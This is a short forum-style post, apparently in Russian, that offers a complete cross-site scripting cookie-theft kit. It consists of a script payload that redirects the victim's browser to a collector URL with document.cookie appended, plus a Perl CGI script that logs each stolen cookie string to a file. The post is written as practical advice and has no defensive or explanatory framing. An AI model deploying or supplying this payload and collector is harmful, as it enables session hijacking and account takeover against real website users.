А если по-думать головой?

<script&gt;document.location.href='http://target.com/cgi-bin/cookie.cgi?' + document.cookie;&lt;/script&gt;

(cookie.cgi)
#!/usr/bin/perl -w

open COOKIES,&quot;&gt;&gt;../cookies.txt&quot;;

print &quot;Content-Type: text/html\n\n&quot;;
print COOKIES &quot;----------- new cookie -----------\n&quot;;
print COOKIES &quot;$ENV{'QUERY_STRING'}\n&quot;;
print COOKIES &quot;---------- end of cookie ---------\n\n&quot;;

close COOKIES;